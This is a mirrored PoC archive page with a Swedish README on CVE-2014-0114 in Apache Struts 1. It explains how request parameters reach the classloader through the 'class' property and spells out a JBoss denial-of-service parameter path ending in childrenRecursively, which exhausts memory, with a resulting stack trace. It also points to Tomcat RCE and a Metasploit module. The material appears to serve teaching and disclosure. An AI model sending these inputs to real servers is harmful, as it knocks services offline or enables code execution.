Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2014-0114 PoC — Apache Struts 输入验证错误漏洞

Source
Associated Vulnerability
Title:Apache Struts 输入验证错误漏洞 (CVE-2014-0114)
Description:Apache Commons BeanUtils, as distributed in lib/commons-beanutils-1.8.0.jar in Apache Struts 1.x through 1.3.10 and in other products requiring commons-beanutils through 1.9.2, does not suppress the class property, which allows remote attackers to "manipulate" the ClassLoader and execute arbitrary code via the class parameter, as demonstrated by the passing of this parameter to the getClass method of the ActionForm object in Struts 1.
Readme
# CVE-2014-0114 - Sårbarhet i Struts 1

Parametrar i en POST- eller GET-request hanteras som egenskaper (properties) som ska
sättas med formuläret som utgångspunkt. Parametrar kan vara en sökväg till ett nästlat
objekt.

Apache Struts 1.x kan manipuleras att anropa getClass() på *Form Beans*. T.ex. kan man direkt
manipulera attribut på formulärets classloader: `https://example.com/?class.classLoader.defaultAssertionStatus=true`.

Under ytan använder Apache Struts 1.x commons-beanutils som i version 1.8 (och tidigare)
inte undantar attributet `class`. 

Struts 2 har haft liknande brister, men här fokuserar vi på Struts 1.x där det inte finns några
patchar till ramverket vars senaste version släpptes 2008 (EOL sedan 2013).


## Tomcat - Remote Code Execution (RCE)
Om applikationen körs i Tomcat (Catalina) så går det att manipulera loggningen så att
angriparen kan skapa en JSP-fil som sedan exekveras när man begär den från servern.
JSP-filen kan exekvera godtycklig Java-kod och som den användare som kör Java-processen.

Se Julián Vilas demonstration för detaljer.


## JBoss/Wildfly - Denial Of Service (DOS)
(Testat med JBoss EAP 7.1)

Det finns en enkel metod för att utföra en DOS-attack som i värsta fall gör JBoss helt
oåtkomlig och kräver omstart. I bästa fall svarar JBoss långsamt.

### Utförande

Via `class`-attributet går det att komma åt `Class#protectionDomain.codeSource.location`.
I JBoss är det ett `URL`-objekt med protokoll `vfs`.

För en URL av typen `vfs://` har JBoss registrerat en `URLStreamHandler` som returnerar ett objekt av
typen `org.jboss.vfs.VirtualFile` när `URL#getContent` anropas.

`class.protectionDomain.codeSource.location.content.pathName` pekar ut katalogen `<SÖKGVÄG>/<applikation>/WEB-INF/classes`.

Via `parent` kommer man åt ett objekt för katalogen en nivå upp:

`class.protectionDomain.codeSource.location.content.parent.pathName` -> `<SÖKVÄG>/<applikation>/WEB-INF`



**Fråga:**
Hur många parent-referenser behövs för att komma till roten på filsystemet?

**Fråga:**
Vad händer när vi begär `class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName`
för filsystemets rotkatalog?

**Svar:**
JBoss kommer att gå igenom alla filer i filsystemet och allokera en `org.jboss.vfs.VirtualFile` för varje fil och katalog.

**Följdfråga:**
Vad händer om två requests begär alla filer i filsystemet samtidigt? Tre requests? Fem? Tio? Hundra?


...

**Svar:**

Väntar man tillräckligt länge loggas ett fel

    10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
    	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
    	at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
    	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
    	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
    	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
    	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
    	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
    	at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
    	at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
    	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
    	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
    	at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
    	at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
    	at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
    	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
    	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
    	at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
    	at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
    	at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
    	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
    	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
    	at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
    	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    	at java.lang.Thread.run(Thread.java:748)
    Caused by: javax.servlet.ServletException: BeanUtils.populate
    	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
    	at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
    	at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
    	at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
    	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
    	at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
    	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
    	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
    	... 42 more
    Caused by: java.lang.reflect.InvocationTargetException
    	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.lang.reflect.Method.invoke(Method.java:498)
    	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
    	at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
    	at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
    	at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
    	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
    	... 49 more
    Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
    	at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
    	at java.lang.StringBuilder.<init>(StringBuilder.java:101)
    	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
    	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
    	at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
    	at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
    	at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    
    10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded


CPU går för fullt för att hantera Garbage Collection för några få requests
och Java-processen hinner inte med mycket annat.

Det beror också lite på applikationen. Kan man trigga en kodväg som tar ett lås så
kan applikationen/systemet att bli hängande.



## Referenser

**CVE**
- https://nvd.nist.gov/vuln/detail/CVE-2014-0114 (Struts 1)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0112 (Struts 2)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0094 (Struts 2)


**Presentation av Julián Vilas**

https://www.youtube.com/watch?v=fpsrusRpP0E

https://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts

**Metasploit**

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb
File Snapshot

[4.0K] /data/pocs/19458ebcceaf7d3854ba061571ba547fd7b1b00e ├── [ 378] build.gradle ├── [4.0K] gradle │   └── [4.0K] wrapper │   ├── [ 54K] gradle-wrapper.jar │   └── [ 233] gradle-wrapper.properties ├── [5.2K] gradlew ├── [2.1K] gradlew.bat ├── [ 12K] README.md ├── [ 42] settings.gradle └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] strutt │   ├── [ 786] LoginAction.java │   └── [1.0K] LoginForm.java ├── [4.0K] resources │   └── [ 423] messages.properties └── [4.0K] webapp ├── [ 569] inloggad.jsp ├── [1.4K] login.jsp ├── [3.9K] struts-tester.jsp └── [4.0K] WEB-INF ├── [ 879] struts-config.xml ├── [ 604] validation.xml └── [ 877] web.xml 9 directories, 16 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →